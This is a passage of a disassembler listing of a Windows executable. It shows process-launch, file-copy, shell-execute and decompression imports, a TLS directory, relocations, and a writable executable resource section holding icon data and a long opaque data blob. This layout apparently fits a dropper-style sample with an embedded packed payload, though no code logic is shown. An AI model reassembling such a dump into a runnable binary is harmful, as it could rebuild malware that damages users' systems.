		extrn __imp_CreateProcessA:dword ; DATA	XREF: CreateProcessAr
; HANDLE __stdcall CreateFileA_0(LPCSTR	lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD	dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
		extrn __imp_CreateFileA_0:dword	; DATA XREF: CreateFileA_0r
; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, BOOL bFailIfExists)
		extrn __imp_CopyFileA:dword ; DATA XREF: CopyFileAr
; BOOL __stdcall CloseHandle_0(HANDLE hObject)
		extrn __imp_CloseHandle_0:dword	; DATA XREF: CloseHandle_0r

;
; Imports from shell32.dll
;
; HINSTANCE __stdcall ShellExecuteA(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd)
		extrn __imp_ShellExecuteA:dword	; DATA XREF: ShellExecuteAr
; HINSTANCE __stdcall FindExecutableA(LPCSTR lpFile, LPCSTR lpDirectory, LPSTR lpResult)
		extrn __imp_FindExecutableA:dword ; DATA XREF: FindExecutableAr

;
; Imports from ntdll.dll
;
		extrn __imp_RtlDecompressBuffer:dword ;	DATA XREF: RtlDecompressBufferr

; Section 5. (virtual address 00008000)
; Virtual size			: 00000004 (	  4.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00004600
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 408000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd ?			; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 7Fh dup(?)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 00009000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00004600
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 409000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 200h
_rdata		ends

; Section 7. (virtual address 0000A000)
; Virtual size			: 000003F4 (   1012.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 00004800
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_reloc		segment	para public 'DATA' use32
		assume cs:_reloc
		;org 40A000h
		dd 1000h, 0D8h,	300E3000h, 301E3016h, 302E3026h, 303E3036h
		dd 304E3046h, 305E3056h, 306E3066h, 307E3076h, 308E3086h
		dd 309E3096h, 30AE30A6h, 30BE30B6h, 30CE30C6h, 30DE30D6h
		dd 30EE30E6h, 30FC30F6h, 3116310Dh, 3138312Fh, 3162314Ah
		dd 319C3183h, 31C631B5h, 31E831DBh, 34423208h, 3554352Bh
		dd 3562355Bh, 36473632h, 36CA367Ah, 370E36DCh, 37B63716h
		dd 382937D6h, 38D838CDh, 394B3944h, 3968395Ch, 39EE39B8h
		dd 3B8A3B6Eh, 3BD13BABh, 3C113C0Bh, 3C313C22h, 3C453C37h
		dd 3C683C55h, 3C763C72h, 3C803C7Ch, 3C8C3C85h, 3C9A3C92h
		dd 3CB03CA0h, 3CE13CBAh, 3CEB3CE6h, 3D163D0Dh, 3D443D2Ch
		dd 3D7E3D5Fh, 3DAD3D87h, 3DBAh,	2000h, 0C0h, 32C9305Fh
		dd 358132D3h, 3595358Ah, 35A2359Ah, 385A35AAh, 386E3861h
		dd 38DF38D3h, 38F038E7h, 390338F6h, 39233916h, 392D3929h
		dd 3966393Ch, 399E3990h, 39BC39A3h, 39DD39CCh, 39FA39EEh
		dd 3A0439FFh, 3A123A0Bh, 3A333A1Ch, 3A4C3A3Fh, 3A6B3A5Eh
		dd 3A843A77h, 3A9E3A96h, 3AAE3AA6h, 3ABE3AB6h, 3ACE3AC6h
		dd 3ADE3AD6h, 3AEE3AE6h, 3AFE3AF6h, 3B0E3B06h, 3B1E3B16h
		dd 3B2E3B26h, 3B3E3B36h, 3B4E3B46h, 3B5E3B56h, 3B6E3B66h
		dd 3B7E3B76h, 3B9F3B93h, 3BBE3BACh, 3BCE3BC6h, 3BE73BDBh
		dd 3C063BF4h, 3C903C37h, 3D103CFEh, 3E593E17h, 3FD13F95h
		dd 3000h, 0ECh,	304E301Ch, 30D1305Ch, 314C3140h, 31883154h
		dd 31BD31A1h, 31FE31E5h, 32453225h, 3296326Ch, 330C32CBh
		dd 33703322h, 338C337Eh, 342B33CCh, 345B344Fh, 347A3468h
		dd 349C3494h, 34B134A1h, 34DD34B7h, 351C3514h, 35313521h
		dd 355D3537h, 359D3595h, 35B235A2h, 35D035B8h, 360F3603h
		dd 362E361Ch, 3669363Ah, 386C36E0h, 38CF38A1h, 38E838DBh
		dd 391638FAh, 39C2398Ch, 3AE13A9Bh, 3BA73B68h, 3C173BEFh
		dd 3C303C23h, 3DB63C42h, 3DFF3DD8h, 3E183E0Bh, 3E323E2Ah
		dd 3EE43E5Ch, 3F173F0Bh, 3F363F24h, 3F563F43h, 3F6C3F68h
		dd 3F743F70h, 3F7C3F78h, 3F843F80h, 3F8C3F88h, 3F943F90h
		dd 3F9C3F98h, 3FA43FA0h, 3FAC3FA8h, 3FB43FB0h, 3FBC3FB8h
		dd 3FC83FC0h, 3FEC3FDFh, 3FFC3FF7h, 4000h, 13Ch, 301B3013h
		dd 302F3026h, 30393034h, 306A303Eh, 308D3076h, 30A4309Fh
		dd 30BB30B2h, 30EE30DDh, 310530FBh, 31223110h, 3137312Ch
		dd 315E3146h, 3177316Bh, 31913182h, 31AB31A6h, 31D431B5h
		dd 31F331D9h, 32443200h, 32583249h, 326A325Dh, 3298328Bh
		dd 32C132BBh, 32D132CCh, 32F132E0h, 330832FCh, 332D3318h
		dd 33493338h, 33683356h, 3378336Eh, 33A53393h, 33BD33B5h
		dd 33E833CAh, 340033F8h, 34333413h, 344A343Eh, 346E3468h
		dd 34923485h, 34A2349Dh, 34C034ABh, 34D534D0h, 34F534E4h
		dd 350C3500h, 352B351Ch, 354A3539h, 356E3555h, 357E3579h
		dd 35AC3593h, 35C335B1h, 35D535CBh, 35E935DAh, 35FD35EEh
		dd 36113602h, 362D3616h, 36373632h, 364E3649h, 36653653h
		dd 366F366Ah, 36863681h, 3698368Bh, 36B036A5h, 36C636B8h
		dd 36DB36CCh, 36F336E8h, 36FE36F8h, 37143703h, 37483738h
		dd 3750374Ch, 37583754h, 3760375Ch, 376C3765h, 37833772h
		dd 3790378Ah, 37A837A1h, 37BF37AEh, 37CC37C6h, 37E437DDh
		dd 380137EAh, 5000h, 20h, 30243020h, 302C3028h,	30343030h
		dd 30403038h, 30483044h, 30C43088h, 9000h, 14h,	30043000h
		dd 300C3008h, 4	dup(0)
_reloc		ends

; Section 8. (virtual address 0000B000)
; Virtual size			: 0002C400 ( 181248.)
; Section size in file		: 00027000 ( 159744.)
; Offset to raw	data for section: 00004C00
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 40B000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4, 30000h, 3, 80000028h, 0Ah, 80000048h, 0Eh, 80000078h
		dd 2 dup(0)
		dd 4, 20000h, 1, 80000090h, 2, 800000A8h, 2 dup(0)
		dd 2 dup(4), 800001A8h,	800000C0h, 800001B6h, 800000D8h
		dd 800001C4h, 800000F0h, 800001DCh, 80000108h, 2 dup(0)
		dd 4, 1, 800001E4h, 80000120h, 2 dup(0)
		dd 4, 10000h, 41Dh, 138h, 2 dup(0)
		dd 4, 10000h, 41Dh, 148h, 2 dup(0)
		dd 4, 10000h, 0
		dd 158h, 2 dup(0)
		dd 4, 10000h, 0
		dd 168h, 2 dup(0)
		dd 4, 10000h, 0
		dd 178h, 2 dup(0)
		dd 4, 10000h, 0
		dd 188h, 2 dup(0)
		dd 4, 10000h, 41Dh, 198h, 0B1F8h, 2E8h,	4E4h, 0
		dd 0B4E0h, 128h, 4E4h, 0
		dd 0B608h, 10h,	4E4h, 0
		dd 0B618h, 1D400h, 4E4h, 0
		dd 28A18h, 80h,	4E4h, 0
		dd 28A98h, 780h, 4E4h, 0
		dd 29218h, 22h,	4E4h, 0
		dd 440006h, 430056h, 41004Ch, 6004Ch, 42004Eh, 420051h
		dd 430045h, 50000Bh, 430041h, 41004Bh, 450047h,	4E0049h
		dd 4F0046h, 530003h, 540045h, 4D0008h, 490041h,	49004Eh
		dd 4F0043h, 4Eh, 28h, 20h, 40h,	40001h,	0
		dd 280h, 5 dup(0)
		dd 0BF0000h, 0BF00h, 0BFBF00h, 0BFh, 0BF00BFh, 0BFBFh
		dd 0C0C0C0h, 808080h, 0FF0000h,	0FF00h,	0FFFF00h, 0FFh
		dd 0FF00FFh, 0FFFFh, 0FFFFFFh, 8 dup(0)
		dd 3 dup(88888888h), 80888888h,	77777787h, 2 dup(77777777h)
		dd 80777777h, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 88888887h
		dd 2 dup(88888888h), 80878888h,	77777787h, 2 dup(77777777h)
		dd 80777777h, 44444487h, 44444444h, 404444h, 80000000h
		dd 44444487h, 44444444h, 70474444h, 80700777h, 44444487h
		dd 44444444h, 70474444h, 80700777h, 44444487h, 2 dup(44444444h)
		dd 80444444h, 77777787h, 2 dup(77777777h), 80777777h, 3	dup(88888888h)
		dd 80888888h, 8	dup(0)
		dd 0FFFFFFFFh, 1Dh dup(0)
		dd 2 dup(0FFFFFFFFh), 28h, 10h,	20h, 40001h, 0
		dd 0C0h, 5 dup(0)
		dd 0BF0000h, 0BF00h, 0BFBF00h, 0BFh, 0BF00BFh, 0BFBFh
		dd 0C0C0C0h, 808080h, 0FF0000h,	0FF00h,	0FFFF00h, 0FFh
		dd 0FF00FFh, 0FFFFh, 0FFFFFFh, 4 dup(0)
		dd 88888888h, 80888888h, 0FFFFFF87h, 80FFFFFFh,	0FFFFFF87h
		dd 80FFFFFFh, 0FFFFFF87h, 80FFFFFFh, 0FFFFFF87h, 80FFFFFFh
		dd 0FFFFFF87h, 80FFFFFFh, 0FFFFFF87h, 80FFFFFFh, 0FFFFFF87h
		dd 80FFFFFFh, 88888887h, 80888888h, 44444487h, 80F0F0F0h
		dd 44444487h, 80444444h, 77777787h, 80777777h, 2 dup(88888888h)
		dd 2 dup(0)
		dd 0FFFFh, 0Eh dup(0)
		dd 0FFFFh, 384F3D26h, 0B83782C2h, 34224F3h, 833A9B17h
		dd 83328A12h, 9731220Eh, 34E1045Ch, 1BF18B3Bh, 4522C7FBh
		dd 0EDDB0EF5h, 83925223h, 0C0F577BFh, 0A9DF0DE7h, 0B29A71Fh
		dd 8FEA600h, 6C640CEDh,	7EB8D4B8h, 0D1D2F264h, 3413C1F7h
		dd 524097D5h, 355F2C50h, 7C38633Bh, 5475F0DCh, 395721B3h
		dd 3B88961Ch, 760C1048h, 0AB024372h, 0A7BD9432h, 3E4A03Bh
		dd 3D0C4577h, 771D8D19h, 3015676Fh, 0DBC2FCA9h,	315C2950h
		dd 1C0687D4h, 93E4D3B4h, 476F87A3h, 8CF41C01h, 598344AEh
		dd 0D401976Bh, 1CF0A54Dh, 0BB175CF8h, 0A4BE0A97h, 13ABC06h
		dd 0B44CB890h, 0EB53B1CCh, 0B79F4A8Eh, 352D7F7Eh, 9BE246BEh
		dd 0AA321431h, 0E1206973h, 7B0AB291h, 0BA95B91Bh, 8C451D67h
		dd 0E415F753h, 0FE81206Ch, 3F284F5Eh, 55CD7C79h, 0DB335A5h
		dd 0DCF0F8B2h, 0E10AA16Bh, 65EFF7F3h, 8B297ABh,	0DCA25E5Eh
		dd 0F4CF281Eh, 0AAA20253h, 86E27EFBh, 0DCA21EAAh, 7D248EC0h
		dd 0FA948E8h, 63EE823Ah, 2642D4AEh, 2493F93Bh, 0AC7A8103h
		dd 0F2C45204h, 2CD2728Eh, 8E0C058Fh, 2A668F94h,	0CEBFB756h
		dd 5F911031h, 9DE00A1Fh, 612B31B5h, 48B2FD1Fh, 1771C853h
		dd 0D64C8408h, 1E9D1601h, 510FEECCh, 0D9E430B6h, 0A05F1ACDh
		dd 1B4565A1h, 38FF42Bh,	0B3CDF88Eh, 196C696Bh, 666C2686h
		dd 11FF16D5h, 28637DF1h, 0BADDAF71h, 38D36927h,	14D91A6Ch
		dd 83AB3F13h, 0D814D151h, 0A83E2180h, 0CF70B019h, 48F9D0A5h
		dd 6BF7A3E3h, 0C104F05Bh, 8D7285Dh, 1511E449h, 55317EFEh
		dd 0F82923FDh, 0D95A86F0h, 0A822055Ch, 0F72F4AE7h, 246554Bh
		dd 5CA8B7AEh, 4F2443CFh, 3FFDF367h, 0B7DD8D0Eh,	7902421Ch
		dd 416B8948h, 756AAB22h, 6DF65253h, 3F7F5A8h, 653FBF66h
		dd 0A4D45EC6h, 0DE526971h, 0C28F3250h, 1944F485h, 0D8F840B1h
		dd 3C8FF9A1h, 0C9EB96F9h, 3E49F32Dh, 2E0A589h, 0C81C2F6Eh
		dd 902A7AA9h, 80E52539h, 1E031644h, 2B1C8AE6h, 1955BC22h
		dd 5DC78165h, 591698C3h, 0AA978C70h, 73BFE7BAh,	92B55111h
		dd 4807668Bh, 5EFAEBCAh, 0E32E4C80h, 1EED2483h,	8D7D8406h
		dd 732EB19Fh, 51E0C511h, 0F718D5F0h, 22462AC2h,	0FCFA7F6Eh
		dd 0EF8E64AAh, 50E23FAh, 8B08147Ch, 0F5E6845Ah,	8EF128B0h
		dd 82CA0723h, 2FC73B58h, 0A7E4484Fh, 0BEC57D4Ch, 27F340EFh
		dd 4D7B3435h, 59491D81h, 0A6FDD5F9h, 92D47C4Dh,	99C9BA68h
		dd 0C5890E37h, 615F7DFh, 278F862Eh, 62C7BCEFh, 5D08935Bh
		dd 0E076B8DAh, 0E4058023h, 1F1FB8E3h, 7513B6A3h, 0A12EA98Fh
		dd 60169D11h, 0AAC74291h, 3A2B6CBFh, 0CCA14F55h, 45DEFBCEh
		dd 59306537h, 0C7B55F44h, 0DF27C917h, 88436B0h,	0F6817237h
		dd 0E39C62DAh, 33AD9463h, 710CD830h, 4654BA74h,	81623B6Bh
		dd 0FDEFC237h, 0A29D4592h, 8309BDEDh, 781A2368h, 0ABEAEF24h
		dd 73924BC9h, 0D3846313h, 69ACEF18h, 61344715h,	5D9B1FF9h
		dd 8118245Dh, 7235A80Bh, 0D45ED42Dh, 38E93750h,	3CDE92B1h
		dd 0AA061996h, 764A9A78h, 9F5EDF4h, 0B92382A2h,	0ED7E212Dh
		dd 0BB71168Ch, 10017135h, 71B773Dh, 0B0106550h,	0AF36F44Bh
		dd 4BFB962Ah, 601B540Ah, 25ADD9F2h, 8D6B00BFh, 0E71F7AFBh
		dd 782A05CFh, 0F16B2ED7h, 7394F540h, 2D9AF697h,	1802D7D2h
		dd 0B81A65Eh, 51CDE45Ah, 794E92A4h, 278BA84Bh, 24C0EFECh
		dd 0E615FD10h, 65B293D7h, 0D17F88Ch, 0D5A09CB7h, 0DB50976Eh
		dd 803DE4F5h, 7084B36Dh, 0A10583B9h, 4D70CC13h,	197430ECh
		dd 707B1587h, 0D73F9B6Fh, 7615C90Eh, 0FCC1BCEDh, 62F1CA0Ah
		dd 280793E9h, 0C1217E1Fh, 369FB5D5h, 0B31E360Ch, 2BF17261h
		dd 0EC87960Eh, 7221C22Fh, 5D622177h, 0F2A32D74h, 0FDA8F8CCh
		dd 59132655h, 5C7911EDh, 9FD0237Eh, 86EC5FE2h, 83488E60h
		dd 12524AC2h, 0D5A3A110h, 0C356850Bh, 0C07D7ED4h, 5949EB58h
		dd 76C5BC4Fh, 0E9E3E46Ch, 0B087E866h, 6AA0A2C2h, 99C033B9h
		dd 0B0881064h, 1BE2FF90h, 0A7FC7A79h, 298696E5h, 97D84B98h
		dd 0FD3975C9h, 0D4C9A662h, 48B1D05Dh, 861C3179h, 0BAC0C869h
		dd 0F6D9B745h, 7D65B711h, 341284ECh, 47769DE5h,	0B2EB2513h
		dd 60C66109h, 6CF5E288h, 106032Ch, 7EC1FCB6h, 0CE6429E3h
		dd 1D53BA1h, 0ED11EEABh, 666B2D60h, 0BF5AEB3Fh,	6780A395h
		dd 0B3996F1Bh, 47E7AD3Fh, 51C5B06Dh, 61838C45h,	96914B2Ah
		dd 0B0081D5Ch, 514675E8h, 8BB8B624h, 0A28E3D2h,	94181559h
		dd 0F8239933h, 19F42821h, 0F74767D1h, 8CAD0910h, 222B1E39h
		dd 0B94A4C1Dh, 8691C214h, 1588F11Ch, 4D14B831h,	765BC8E2h
		dd 8861EAE7h, 8B83A395h, 517E18Ah, 4674A728h, 69EA5B8h
		dd 4F6051A1h, 0A49C2A71h, 905353E0h, 94EE3890h,	0BD0C11AAh
		dd 0B961E2CCh, 164D9091h, 0DCD51E4Eh, 5C6B8AA8h, 839319F1h
		dd 0E136C34Fh, 0CC37A00h, 6E877349h, 0E5AE5C80h, 9C26DF49h
		dd 0FC70AFF3h, 1BA76E2Bh, 325394B5h, 785319FAh,	0A8DC6892h
		dd 75EB20F0h, 0BE8C3F1Fh, 0CE15D314h, 5D2EBC30h, 0E0C491EFh
		dd 4EE9C516h, 0A363EEC8h, 0AD8607EFh, 6EA4E7A7h, 4A3174CDh
		dd 5038216Fh, 38B18CE3h, 0BF283AC9h, 3FA833BAh,	0A1877C16h
		dd 0BDBB8D2Fh, 8268621Dh, 90389387h, 0A697E979h, 0C075D84Ch
		dd 9800C69Ah, 789430BCh, 1383DEBFh, 2EBB44D0h, 9648636Eh
		dd 0EE21AC91h, 96AE0CADh, 619236C2h, 8EB554Bh, 76ABE708h
		dd 1F18E57Bh, 506E6B49h, 0AB3F1DAAh, 0C6E886C0h, 883AF49Dh
		dd 0EEAF69ACh, 0FE12B65Dh, 98A0F6FCh, 0D1502ACEh, 9D4D4A33h
		dd 2CC8EF8Fh, 209A7058h, 5B9E8EB9h, 0AC802E09h,	0DED04E90h
		dd 66A3EAF9h, 0C3010271h, 0CDA7C6A0h, 9A3D14FEh, 48EECBFFh
		dd 25E3FDE4h, 0D2EB982Fh, 0F3353F9Ah, 4F2B7CDAh, 0CE119F52h
		dd 934AFD85h, 0DBFDCBA9h, 9478F16Ch, 0C64F0D2Eh, 0AABDF6F5h
		dd 0EAFDB98h, 35488895h, 71648F14h, 919DCA0h, 766EBDCh
		dd 79156085h, 1FB29464h, 46A61B5Ch, 0B90D19CBh,	18126A1Bh
		dd 6EB84480h, 14A678FBh, 4EA12AF9h, 617C02C4h, 7F0F8492h
		dd 8C7D4713h, 0CD11AFC3h, 0BB0962EEh, 17755AE7h, 0DF946933h
		dd 0A8F9683Ah, 72A0B1E7h, 504AB852h, 0D8C4EA9Ch, 8FE7DF7h
		dd 0B8C10714h, 0AEFEFB88h, 23D488BFh, 0BE781336h, 642388C8h
		dd 91DDFA46h, 2D260D78h, 97552D92h, 74415155h, 0BC245BD8h
		dd 4470DE0Ch, 0FF2023B8h, 96653533h, 0E6404D8Fh, 0D800ED50h
		dd 0DE16372Ch, 9360C35Ah, 0C80515CCh, 75D07C8Ah, 0BACC074Ch
		dd 0C0E2DF46h, 9A0F057Dh, 594943D9h, 0D3E18956h, 0A1BB344h
		dd 162F17ADh, 0BED2ADE3h, 0D8386E69h, 0C435277Bh, 23EEB938h
		dd 9498A20Bh, 616DE44Ch, 4DBFA19Ah, 13FD2AD7h, 1BDD8DD2h
		dd 8E5FD6A6h, 0C98E6C07h, 6430AC8Fh, 0C103B7CDh, 0DCAE4944h
		dd 1BD9F598h, 746853F8h, 0E592C6Dh, 71371B56h, 3A3538B8h
		dd 3C2714C8h, 0E29BD714h, 81CA512Ah, 9DB20939h,	15012239h
		dd 715E24F5h, 0F60C163Ch, 4E3B1F55h, 79D50324h,	1A5C6F90h
		dd 8B3C379Eh, 0FE7E010Bh, 1C78C9D5h, 7B06794Ch,	7FE66FB4h
		dd 159DD0ECh, 0C96CBD50h, 863D883Dh, 0F9B8F7Ah,	0A33AED2Dh
		dd 6CD0259Ah, 4DAE5225h, 9B52BB98h, 5604F247h, 8BE0F66Dh
		dd 0B8763C26h, 7C929C50h, 8FC52CD2h, 973B001Bh,	1804D3C4h
		dd 0B549F505h, 0EAC49451h, 0F913ADECh, 7C4FB62h, 4D5EFB04h
		dd 40B82EFDh, 6CE2D74Fh
		dd 23401644h, 0D0739A73h, 17646D4h, 82D44275h, 6D41029h
		dd 0ABAD1408h, 3390C3C9h, 0EDC92201h, 0B9EF73BFh, 0BEEF5E1Bh
		dd 9E031D66h, 4B4552FAh, 0E69A1AD3h, 94802700h,	4C201659h
		dd 0A5B3F319h, 20D7FD0Fh, 0D9AEEBC1h, 7413D4BEh, 0EA4BCEADh
		dd 3C97353h, 0C2252498h, 6135969Bh, 69C19A32h, 71C62612h
		dd 8307E31h, 72BA857Ah,	0A8020CFBh, 6F269EF1h, 45E58338h
		dd 35DE2C1Dh, 0D764039Ch, 0A656933Bh, 43B522FFh, 0ADD4207Ch
		dd 8F1CA03Ch, 7A3D6603h, 0EFFA781Ch, 9A8E4ED4h,	8F8425FAh
		dd 0D5804C7Bh, 1081885h, 9D9612CBh, 1EDFC7Eh, 0B6CB8080h
		dd 0AD6317B1h, 4E49F154h, 0EF66D37Ch, 55A1193Ah, 2BFC85DBh
		dd 0D0290CFh, 6F94E7Ch,	0BD84D3D7h, 1CB0A65Fh, 217834Bh
		dd 0C83A240Dh, 716B287Eh, 0F21CEE1Fh, 0BBB928B3h, 0E2E878AAh
		dd 1163BBFBh, 1FF86A92h, 495C45E0h, 3328D58Bh, 2BED1E7Dh
		dd 134ADFBFh, 46E296A3h, 10474741h, 43A31FB4h, 0F41F391Ch
		dd 0BE0D167Eh, 2F1394D9h, 58F89293h, 0B41BF98Dh, 15F80B74h
		dd 7BA4012Ah, 6D157703h, 0E2E678BFh, 0A167B084h, 0ACB2747Ch
		dd 0FA2FF158h, 315DB6AAh, 0FE95695h, 0D6234534h, 78117728h
		dd 538A975Ch, 6793993Ch, 2FD12201h, 1F64AD1Ah, 29AB1725h
		dd 0A990BBE4h, 0EAD8769Eh, 0DC182F5Bh, 32EE70D6h, 636EC669h
		dd 8A78806Ch, 7BFD74E1h, 23906883h, 36682F7Dh, 0DC3513B7h
		dd 5DDD3FDAh, 0DD5DA7AFh, 37BB5D4Bh, 6BC13093h,	0E1AF9A68h
		dd 0E2CEA3E5h, 539B847Fh, 0EC69A3BAh, 0DD8B33E4h, 6846C053h
		dd 7ECB3C37h, 39788069h, 0E4C4A4F7h, 0E4459B29h, 62E9C8EFh
		dd 0D856C3A4h, 69418E9Ch, 0BF1DDF85h, 0FFBEA108h, 0FB4DA357h
		dd 0FEA552FFh, 187A62EFh, 0F52F735Ch, 287FA1F6h, 0A51784EEh
		dd 2FC549E2h, 439E7707h, 3180B76Bh, 930BED6Fh, 5831D1E0h
		dd 0B43583h, 3E668C0Dh,	6CF930B2h, 0A5DA11AEh, 0DC4670BBh
		dd 998A3B3Bh, 535717A1h, 0E799F905h, 0A5FE8685h, 83D8D29h
		dd 2049096Dh, 0DF52366Ah, 0C972699h, 0F667D698h, 0EC70F526h
		dd 1AA85622h, 5F3C8C68h, 0DDCE449Eh, 0DFC5B8D0h, 223B0AFAh
		dd 0C55A8075h, 5D674E2Eh, 71BA6815h, 0E5156C6Ah, 90E2288Dh
		dd 0C863D138h, 797A010Dh, 0A782150Eh, 0CB36E9B4h, 0CC97C663h
		dd 33CB5BAh, 5DBF37E2h,	19D3B1F1h, 17C5FA8Dh, 0F44CB669h
		dd 592816DCh, 27546EE6h, 1715A541h, 4D2A27C9h, 7CCDCDE3h
		dd 5612F4DBh, 0E678E457h, 0A2888F2Eh, 0DEFB16D8h, 0E79B219Fh
		dd 0BB0E6AD3h, 1B15EDF0h, 4BF5FCC9h, 105566A4h,	0F3465AF1h
		dd 0C94BD620h, 411968F8h, 4380DD74h, 0D38CC982h, 0B31E0E49h
		dd 0F9B9C6h, 26056B6Ah,	5ADF0FFFh, 70248BFAh, 0C34F24FBh
		dd 363B6BE4h, 0FF5860E6h, 296F6528h, 0F2C4D41Fh, 52B0D37Ch
		dd 99B06712h, 0F77B881h, 8DE9760h, 73DAA5EAh, 0D5A2A872h
		dd 65728FD7h, 0DC95B0C2h, 62B73EF8h, 0BFF461Ah,	600A083Dh
		dd 95051845h, 604FCC64h, 0C4344D43h, 0D63F17FCh, 80F12813h
		dd 0EDF3E05Bh, 0BB3ECBC5h, 3DCDC619h, 0DCB235F6h, 0C824C360h
		dd 20574FFFh, 0C67FF2D2h, 56FA6DF0h, 1D5B5832h,	0F6152DEh
		dd 79110569h, 34BB1326h, 0D171A64Fh, 13C5012Dh,	0CA732FAEh
		dd 9BAC5B77h, 0AF6D778Dh, 0F14D9FABh, 0ACF11BE7h, 0B1AC4BAh
		dd 84B7C2C4h, 8188B148h, 0C8D7A721h, 0C56A6D04h, 0DF93D6EEh
		dd 0F09BC006h, 0EF55FE4Ch, 65215C66h, 92496B4Ch, 7A979FFCh
		dd 6997F2ADh, 0BD63E824h, 6616D322h, 68427FDCh,	0F573328Fh
		dd 0B301555Fh, 82C74467h, 684D1CB2h, 0C080CEC5h, 0C453E585h
		dd 64C49104h, 3A5A6A1h,	0CFE7DB29h, 21F04A7h, 5E030863h
		dd 979B27DEh, 92A9A1FDh, 470A2733h, 6075D222h, 0D3633BB2h
		dd 0CDE5A9CEh, 75AEBD32h, 14FABE53h, 93B9D3FDh,	36534349h
		dd 62F4245Fh, 0ACBE9F1Ch, 73330610h, 0A0E8B333h, 6BAEC5B9h
		dd 3074D4h, 0AC0945BEh,	6F57221Dh, 0AF54378Ah, 42A8E087h
		dd 0C9120978h, 76D91CBFh, 0C16AABEBh, 9959EFEDh, 0B216C25Ch
		dd 9D6EC0BAh, 0BD03AAC6h, 7AECCCC5h, 0D18CC246h, 0B776BDACh
		dd 0FC15AE43h, 633D10F3h, 342DCA4h, 4E04B1FFh, 536C5A13h
		dd 1DB13E03h, 4A6EB95Ch, 0E21E83D1h, 8824C6AEh,	0F7DBB181h
		dd 0D2C2901Dh, 0EB1A73CFh, 7F72F521h, 0A4F1EADCh, 692B7824h
		dd 1B67A6D8h, 0DF82089Ch, 0C1BC75DBh, 29D6B28h,	0F28780C0h
		dd 0A59C75FFh, 6ABD7D98h, 914830BCh, 68E648ACh,	0E4911D80h
		dd 0B615A9CBh, 0FDC6044Dh, 23C3F480h, 7219AC26h, 3F909234h
		dd 83D6A02Eh, 0A4FA141Dh, 194FAF70h, 0FF9F0123h, 49D799C9h
		dd 0A612177Ch, 470831D3h, 311A0863h, 663937EFh,	1E3A87B7h
		dd 2874E530h, 7543F085h, 0D900D145h, 88189302h,	2AD7E309h
		dd 18E28882h, 0A7CD7D25h, 0B23D83D3h, 2E5C98h, 0DA8328F3h
		dd 0D5232389h, 2FFFFD30h, 776B8351h, 0FFAF6E6Dh, 12367D10h
		dd 0E3C30D78h, 0B8E7AA05h, 0E77F7571h, 98B382D7h, 0B4E0B3E0h
		dd 0F2161D4Eh, 0FA7D60BCh, 70D01F4Ch, 0A189F05Eh, 0D31095FEh
		dd 0EC903081h, 0B2796D81h, 0AE1D7EF5h, 230BD6F4h, 0D2DBE625h
		dd 0E6800409h, 0D39A0C27h, 4157E8B6h, 98172CFAh, 97D2C16Eh
		dd 0A16640EEh, 18A32B0Eh, 20D3F225h, 730FCED2h,	0CC033300h
		dd 5B20BE89h, 0E0A5F194h, 0C0A0F532h, 97DC4E9Ch, 0C7339228h
		dd 129F7EA7h, 21947327h, 330202A1h, 569B3BB2h, 8E046DFAh
		dd 99394062h, 0F9363D46h, 0A8824AACh, 0F513C5C9h, 0E4661A14h
